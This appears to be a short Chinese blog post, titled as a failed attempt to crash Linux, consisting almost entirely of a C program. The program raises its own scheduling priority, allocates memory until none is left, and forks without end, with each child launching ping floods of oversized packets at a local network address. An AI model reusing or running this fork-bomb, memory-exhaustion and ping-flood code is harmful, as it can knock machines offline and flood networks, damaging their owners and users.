想搞死linux的疯狂代码<结果还是失败了>

#include <stdio.h>

 

#include <string.h>

 

#include <unistd.h>

 

#include <stdlib.h>

 

int main(int argc, char *argv[]){

 

    int i = 0;

 

    int MEM = 2;

 

    int PING = 0;

 

    nice(-20);

 

    while (-1 != (i = getopt (argc, argv, "m:p"))) {

 

      switch (i) {

 

    case 'm': {MEM = atoi(optarg);break;}

 

        case 'p': {PING = 1;break;}

 

    default:break;

 

      }

 

    }

 

    if(PING){

 

    while(1){

 

        int pid = fork();

 

        if(pid < 0){

        }else{

 

          system("ping -s 65507 -c 65534 192.168.0.108  &");

 

          printf(".");

 

        }

 

      }

 

    }

 

    char *pMem = NULL;

 

    while(pMem = malloc(MEM * 1024));

 

    while(1){

 

    int pid = fork();

 

        if(pid < 0)return;

 

        else{

 

          system("ping 192.168.0.108  -s 65508 -c 65534 &");

 

          printf(".");

 

        }

 

    }

 

}

 

你可能感兴趣的:(linux,代码,职场,休闲)